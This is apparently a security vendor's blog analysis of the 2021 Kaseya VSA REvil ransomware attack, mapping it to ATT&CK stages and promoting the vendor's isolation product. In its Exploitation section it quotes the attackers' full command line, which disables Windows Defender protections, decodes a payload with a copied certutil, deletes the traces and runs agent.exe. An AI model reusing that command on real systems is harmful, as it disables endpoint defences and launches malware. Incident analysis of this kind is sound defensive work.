Kaseya VSA Breach Consequences of Security Failures

The world has witnessed another large-scale cyber-attack. On July 2, 2021, Kaseya, an IT Systems Management software firm, disclosed a?security incident? impacting their on-premises version of Kaseya’s?Virtual System Administrator?(VSA) software. The result was up to 1500 companies being held hostage to a significant ransom demand.

Incidents such as these are becoming more commonplace. We are seeing a trend where attackers concentrate more on finding and exploiting zero-day vulnerabilities in system administrator tools. The situation becomes much more severe with remote monitoring and management (RMM) tools like Kaseya VSA and Solarwinds, where attackers can penetrate directly into their customer networks and operate with implicit trust, initiating commands or deploying malware.

For RMM, most security vendors recommend allowlisting (formerly known as whitelisting) specific folders or executables to eliminate any disruption of service due to false positive detection as these folders and executables become trusted. Unfortunately, Allowlisting often leads to the initial bypassing of endpoint security protection solutions that depend on detecting suspicious activity before a blocking action can occur.?Comodo Threat Research Labs (CTRL) has analyzed the VSA attack and provides analysis below to show how Comodo Active Breach Protection can protect endpoints from sophisticated attacks, even when all attack vectors have been trusted.

Our analysis first noted the exploitation of a zero-day vulnerability [CVE-2021-30116]. Credit goes to Wietse Boonstra , a Dutch Institute for Vulnerability Disclosure researcher, who identified and?reported this vulnerability ?to Kaseya under responsible disclosure guidelines. We do not have sufficient detail about the exploit. Still, we know attackers used an authentication bypass in the web interface of Kaseya VSA to gain an authenticated session, upload the ransomware payload, and execute commands via Kaseya agents using a SQL injection vulnerability of Kaseya VSA.

The attack was purportedly limited to on-premises instances of Kaseya VSA however SaaS services went also offline. After the incident, Kaseya recommended shutting down all VSA servers; as of this post, SaaS service were still offline, and they have been working on patches for both SaaS and on-prem servers. Kaseya released a?Compromise Detection Tool ?to determine whether any indicators of compromise (IoC) are present.?CISA and FBI released guidance for MSPs and their customers affected:?https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa

To further analyze the breach, we created a mapping of the Kaseya VSA attack against the Mitre ATT&CK framework

Reconnaissance – Weaponization

We do not have many details about this initial step. But it is obvious the attackers, identified as REvil (aka Sodinokibi), the same group behind May 1, 2021,?JBS food processing ransomware attack, identified and exploited a zero-day vulnerability in Kaseya VSA, which is an asp.net application. In this?reddit post , HuntressLabs Team analyzed one of the compromised servers and suspect dl.asp has an authentication vulnerability granting a user a valid session and allowing the user to access files that typically require authentication, specifically KUpload.dll and userFilterTableRpt.asp.

KUpload.dll offers upload functionality that bypasses the authentication, allowing attackers to upload any malicious executable to the victim’s systems. We also found userFilterTableRpt.asp was susceptible to an SQL injection vulnerability, allowing remote code execution and initial compromise of the VSA server.

Delivery

The delivery method is hidden behind an agent update package called Kaseya VSA Agent Hot-fix. Inside this?package , agent.crt or Screenshot.jpg files are written to the c:\kworking folder. This folder is one of the working folders recommended to be?allowlisted , which often leads to compromise due to security technologies trusting the executables contained within the folder.

[caption id="attachment_142" align="alignnone" width="624"] Kaseya VSA[/caption]

Kaseya VSA-Agent Hot-fix is the main deployment script where Achieve and Purge Logs was run to clean up any remaining artifacts (From?Reddit post ?)

Agent.crt is an encoded file, once decoded, is then converted into agent.exe. Finally, Agent.exe is digitally signed with the following information:

Name: PB03 TRANSPORT LTD.
Email: [email protected]
CN = Sectigo RSA Code Signing, CAO = Sectigo Limited, L = Salford, S = Greater Manchester, C = GB
Serial #: 119acead668bad57a48b4f42f294f8f0
Issuer: https://sectigo.com/        

Exploitation

The malicious executable is called via a stored procedure on VSA servers that essentially execute a PowerShell command. This command disables some features of Windows Defender to enable the malicious code execution to remain undetected. This stored procedure is then injected into the SQL database of the Kaseya VSA server to be used in a script that is executed directly on the VSA agents being remotely managed or monitored on the customer’s infrastructure.

"C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe        

When the agent.exe file is executed on the system, the primary process will drop the next executable MsMpEng.exe into the C:\windows directory. This file is flagged as clean by any anti-virus software present on the system and is associated with the Microsoft Malware Protection service created and signed in 2014. The trusted and valid Microsoft executable MsMpEng.exe is used to side-load the DLL (Dynamic-link Library) component used to encrypt the victim’s servers and workstations.

Installation

DLL side-loading attacks happen when a malicious code is replaced within a DLL file then loaded by a vulnerable application into memory and executed. In this instance, the component C:\windows\mpsvc.dll was also dropped into the Windows directory and is the actual Sodinokibi malware that encrypts the victim’s devices. Encryption impacts the local disks, any removable drives, and network drives. Since the request comes from a Microsoft signed application, most endpoint protection controls trust the file and do not block its execution.

C2

This specific REvil attack did not follow a typical command and control sequence of connecting to an external domain to retrieve its payload. Kaseya Revil case, network configuration is set to Off so it doesn’t have any network traces

Action on Objectives

When executed, REvil Ransomware performs an in-place encryption attack. It overwrites the same sectors as the original files, so it becomes impossible to recover the originals. Once the decryption begins, a pop-up window displays the following ransom note.

And when victims follow the instruction to contact the attackers, they are redirected to a “welcome to payment” page, as seen below.

How Comodo protects organizations during an active breach?

Comodo’s Active Breach Protection utilizes a combination of Kernel API virtualization, allowlisting, machine learning, behavior analysis, and advanced static and dynamic threat cloud analysis (Comodo Valkyrie) to deliver trusted verdicts accurately and quickly for all unknown files and processes. Additionally, we authenticate every executable and process that requests runtime privileges and employ our patented Kernel API Virtualization technique to ensure nothing unknown accesses the underlying operating system.

Before execution, our technology authenticates every executable and process that requests runtime privileges. For example, suppose the executed code (either .exe, .dll or script) is unknown. In that case, our technology is architected to limit their execution to an isolated session which never impedes the user’s ability to open the file and view its contents; however, it restricts the file from having access to any portion of the file system that requires persistent behavior like writing files, changing registry, etc. This allows safe applications the freedom to run as needed while denying potentially malicious applications the system access they require to inflict damage, like run encryption routines as in the case of ransomware.

What follows is a detailed description of how Comodo prevents this REvil ransomware from executing a priori.

Before executing the PowerShell script used in the Kaseya REvil Ransomware attack, we allowlisted all Kaseya application folders as suggested by Kaseya Knowledge base documents.

Like all other allowlisting technologies, this excludes the folder contents from being blocked and trusts the contents within.

As previously stated, there is nothing to prevent attackers from reaching the Exploitation stage as endpoints are managed by Kaseya agents, which operate with elevated privilege. The Kaseya VSA Agent Hot-fix is distributed, and agent.crt now runs from within the trusted c:/kworking directory.

Whenever the above PowerShell command runs, agent.crt is decoded into agent.exe, which is not observed to be malicious since it is performed via a legitimate Windows executable, certutil.exe. The last command of the script is to run agent.exe

At this point, Comodo differentiates itself from all other vendors, as we do not trust the file. Our first point of analysis is the origination date. The file was recently signed, and to Comodo, this means we’ve never seen this file before and, therefore, restrict the file by placing it into a virtual runtime we automatically create to restrict the file runtime privilege.

Viola!!! Even if MSMpEng.exe were a legitimate Windows executable, it is isolated to a read-only location, as is the malicious payload, mpsvc.dll. As a result, MSMpEng.exe, which is vulnerable to DLL side-load attacks and malicious DLL injection, is not allowed to write to the disk. All write-file requests are directed to our virtual folder, called VTRoot. Even the drop files sit within a virtual folder and are neutered. No encryption is possible, and a ransomware attack is thwarted. We also now detect the mpsvc.dll as malicious since it is no longer contained within the allowlisted folder.?Our customers are protected against any unknown threat, regardless of sophistication, because these attacks rely on unknown/untrusted code/exe in their execution steps.

Furthermore, if you want to understand how an attack we prevent originated, you can see the full forensic detail courtesy of our EDR, which is both free and open sourced.

At Comodo, we believe every size organization needs not only the best protection at affordable prices but that everyone should always have access to the forensic tools necessary to understand the entire lifecycle of a breach. Since we don’t rely on EDR to prevent threats from becoming breaches, we make EDR accessible to everyone. Checkout?OpenEDR ?and utilize the best EDR tools for free.

Are you interested in learning more about Active Breach Protection? Check out our Comodo blog .

Credit : Ozer Metin , Comodo Team

For more articles? about Security Failures

?